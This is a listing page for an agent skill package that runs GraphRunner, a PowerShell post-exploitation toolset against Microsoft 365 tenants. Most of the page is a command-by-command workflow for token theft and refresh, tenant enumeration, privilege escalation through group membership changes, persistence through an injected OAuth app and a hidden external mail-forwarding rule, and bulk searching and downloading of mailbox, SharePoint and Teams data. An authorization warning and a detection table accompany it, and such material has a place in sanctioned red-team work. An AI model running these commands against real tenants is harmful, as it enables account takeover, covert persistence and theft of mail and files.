post-exploiting-microsoft-graph-with-graphrunner
Runs GraphRunner, a PowerShell post-exploitation toolset built on
v1.03 installs+3 in 7 days36.3K StarsApache-2.0synced 11 hours ago
Install
No NotHoly CLI yet? Install it first.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install mukul975/post-exploiting-microsoft-graph-with-graphrunnerWrites to ~/.notholy/skills after checking the signature and the SHA-256.
SignatureSigned, ed25519
Package85b69824…bb683a7e
85b698246c5c…a4a6bb683a7e5 files · 11.1 KBScanMedium2 findings
- Executable script shipped with the skillscripts/agent.py
- Links to outside domains
Sourcegithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/post-exploiting-microsoft-graph-with-graphrunner@54a7988
On this page
Authorized use only: GraphRunner performs offensive actions against live Microsoft 365 / Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.
Overview
GraphRunner (Beau Bullock / Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the Microsoft Graph API. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential/token theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.
The toolset is a single PowerShell module (GraphRunner.ps1) exposing dozens of functions grouped by purpose:
- Authentication —
Get-GraphTokens(device-code login),Invoke-RefreshGraphTokens,Invoke-AutoTokenRefresh,Invoke-ImportTokens,Invoke-RefreshToSharePointToken. - Recon & Enumeration —
Invoke-GraphRecon(tenant/user permission summary),Invoke-DumpCAPS(conditional-access policies),Invoke-DumpApps(app registrations / consent grants),Get-AzureADUsers,Get-SecurityGroups,Get-UpdatableGroups,Get-DynamicGroups,Invoke-SearchUserAttributes,Invoke-GraphOpenInboxFinder,Find-PermissiveCalendars. - Persistence —
Invoke-InjectOAuthApp(deploy a malicious OAuth app for consent-grant persistence),Invoke-CreateInboxForwardingRule. - Privilege Escalation —
Get-UpdatableGroups,Invoke-AddGroupMember,Invoke-SecurityGroupCloner,Invoke-InviteGuest. - Pillage / Data Search —
Invoke-SearchMailbox,Invoke-SearchSharePointAndOneDrive,Invoke-SearchTeams,Get-TeamsChat,Invoke-DriveFileDownload. - Master runner —
Invoke-GraphRunnerruns an automated recon-and-pillage pass;List-GraphRunnerModulesprints all modules.
This maps to MITRE ATT&CK T1098 — Account Manipulation: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.
When to Use
- After obtaining a valid Microsoft Graph access/refresh token during an authorized M365/Entra engagement.
- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.
- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).
- When demonstrating privilege escalation through updatable/dynamic groups.
- When searching mailboxes, SharePoint/OneDrive, and Teams for sensitive data to evidence impact.
Prerequisites
- Written authorization and scope for the target tenant.
- A Graph token foothold (from
Get-GraphTokensdevice-code login, or imported tokens). - PowerShell 5.1+ or PowerShell 7 (cross-platform).
# Clone and import the module
git clone https://github.com/dafthack/GraphRunner.git
cd GraphRunner
Import-Module .\GraphRunner.ps1
# List every available module
List-GraphRunnerModulesObjectives
- Authenticate to Microsoft Graph and maintain tokens via refresh.
- Enumerate tenant users, groups, CA policies, and OAuth apps.
- Identify updatable groups and demonstrate privilege escalation.
- Establish persistence via an injected OAuth app and/or inbox forwarding rule.
- Search mailboxes, SharePoint/OneDrive, and Teams for sensitive content.
MITRE ATT&CK Mapping
| ID | Tactic | Official Technique Name | Role in this skill |
|---|---|---|---|
| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain/escalate access |
| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged/updatable groups |
| T1528 | Credential Access | Steal Application Access Token | Get-GraphTokens device-code token acquisition |
| T1087.004 | Discovery | Account Discovery: Cloud Account | Get-AzureADUsers, Invoke-SearchUserAttributes |
| T1114.002 | Collection | Email Collection: Remote Email Collection | Invoke-SearchMailbox over Graph |
| T1606.002 | Credential Access | Forge Web Credentials: SAML/OAuth | Invoke-InjectOAuthApp consent-grant persistence |
Workflow
Step 1: Authenticate and refresh tokens
# Device-code login; complete the code at microsoft.com/devicelogin
Get-GraphTokens
# Refresh the access token when it expires
Invoke-RefreshGraphTokens
# Keep tokens fresh automatically during a long operation
Invoke-AutoTokenRefresh
# Import tokens captured elsewhere (e.g., from ROADtools)
Invoke-ImportTokens -AccessToken $at -RefreshToken $rtStep 2: Recon and enumeration
# High-level tenant + current-user permission recon
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
# Dump conditional-access policies
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
# Enumerate app registrations, service principals, and consent grants
Invoke-DumpApps -Tokens $tokens
# Enumerate all users and security groups
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
Get-SecurityGroups -Tokens $tokensStep 3: Search user attributes for secrets
# Hunt across all user attributes for terms like "password"
Invoke-SearchUserAttributes -Tokens $tokens -SearchTerm "password"Step 4: Privilege escalation via updatable groups
# Find groups the current principal can modify directly
Get-UpdatableGroups -Tokens $tokens
# Add yourself (or a controlled account) to a target group
Invoke-AddGroupMember -Tokens $tokens -GroupId <group-guid> -UserId <user-guid>
# Clone a privileged security group's membership into a new group you control
Invoke-SecurityGroupCloner -Tokens $tokensStep 5: Persistence
# Deploy a malicious OAuth app and walk the consent-grant flow for persistence
Invoke-InjectOAuthApp -AppName "Demo App" -ReplyUrl "https://localhost" -Scope "openid profile offline_access Mail.Read"
# Create a hidden inbox forwarding rule on a target mailbox
Invoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo "[email protected]" -RuleName "Sync"Step 6: Pillage M365 data
# Search a mailbox (or all reachable mailboxes) for sensitive terms
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" -MessageCount 100 -OutFile mail.csv
# Search SharePoint and OneDrive content
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm "secret"
# Download a discovered file
Invoke-DriveFileDownload -Tokens $tokens -DriveItemIDs "<drive-id>:<item-id>" -FileName loot.docx
# Search Teams messages
Invoke-SearchTeams -Tokens $tokens -SearchTerm "vpn"Step 7: Automated full pass
# Run the orchestrated recon + pillage workflow end to end
Invoke-GraphRunner -Tokens $tokensTools and Resources
| Tool | Purpose | Primary Source |
|---|---|---|
| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https://github.com/dafthack/GraphRunner |
| GraphRunner wiki | Per-module usage guide | https://github.com/dafthack/GraphRunner/wiki |
| BHIS GraphRunner blog | Tool release + walkthrough | https://www.blackhillsinfosec.com/introducing-graphrunner/ |
| Microsoft Graph API | API reference for the underlying calls | https://learn.microsoft.com/graph/api/overview |
| ROADtools | Upstream token acquisition / device-code phishing | https://github.com/dirkjanm/ROADtools |
OPSEC and Detection Considerations
GraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:
| GraphRunner action | Telemetry source | What the defender sees |
|---|---|---|
Get-GraphTokens (device code) |
Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device/IP |
Invoke-InjectOAuthApp |
Entra audit logs | "Add application" + "Consent to application" events with broad delegated scopes |
Invoke-AddGroupMember / Invoke-SecurityGroupCloner |
Entra audit logs | "Add member to group" on privileged/role-assignable groups |
Invoke-CreateInboxForwardingRule |
M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |
Invoke-SearchMailbox / Invoke-SearchSharePointAndOneDrive |
MicrosoftGraphActivityLogs | High-volume $search calls against /messages and Drive endpoints |
To reduce noise during an authorized engagement, scope searches with -MessageCount, avoid role-assignable group changes unless required, and always remove injected apps with Invoke-DeleteOAuthApp and forwarding rules during cleanup.
Validation Criteria
- Graph tokens obtained via
Get-GraphTokensand refreshed successfully. - Tenant recon completed (
Invoke-GraphRecon,Invoke-DumpCAPS,Invoke-DumpApps). - Users and security groups enumerated.
- User attributes searched for embedded secrets.
- Updatable groups identified and a controlled privilege escalation demonstrated.
- Persistence established (OAuth app injection and/or inbox forwarding) where in scope.
- Mailbox, SharePoint/OneDrive, and Teams searched for sensitive data.
- All actions, object IDs, and evidence logged for the engagement report and cleanup.
Files in this version
references/25.2 KB
- api-reference.md3.6 KB
- standards.md1.6 KB
scripts/16.2 KB
- agent.py6.2 KB
- LICENSE11.0 KB
- SKILL.md10.1 KB
Permissions
| Permission | Declared | Found by the scan |
|---|---|---|
| Reads files | Yes | Yes |
| Writes files | Yes | Yes |
| Runs shell commands | Yes | Yes |
| Uses the network | Yes | Yes |
| Uses connectors | No | No |
| Drives a browser | No | No |
Scan findings
Reviewed on Nov 13, 2026
- MediumFile · Executable script shipped with the skillscripts/agent.py
- InfoLink · Links to outside domains
A clean scan lowers the risk but does not prove a package is safe. Read what you install.
| Version | Published | Commit | SHA-256 | Signature | Permission change |
|---|---|---|---|---|---|
| v1.0 | Nov 13, 2026 | 54a7988 | 85b69824 | Signed | – |
More from mukul975
All from this publisher- testing-for-xml-injection-vulnerabilitiesmukul975/testing-for-xml-injection-vulnerabilities5
- testing-for-sensitive-data-exposuremukul975/testing-for-sensitive-data-exposure5
- performing-jwt-none-algorithm-attackmukul975/performing-jwt-none-algorithm-attack5
- detecting-aws-credential-exposure-with-trufflehogmukul975/detecting-aws-credential-exposure-with-trufflehog5
More in Reverse engineering and fuzzing
See the categoryAsk anything your scope allows.
Create an account, add credits and ask the first question in the chat or the terminal.
- 1/3
Create the account
Individual or company. You can switch to a company later without losing balance or keys.
IndividualCompany - 2/3
Add credits
By card. Pay per token, no subscription.
$5.00minimum deposit - 3/3
Ask
In the chat, or install the CLI and run notholy login in your terminal.
$ notholy login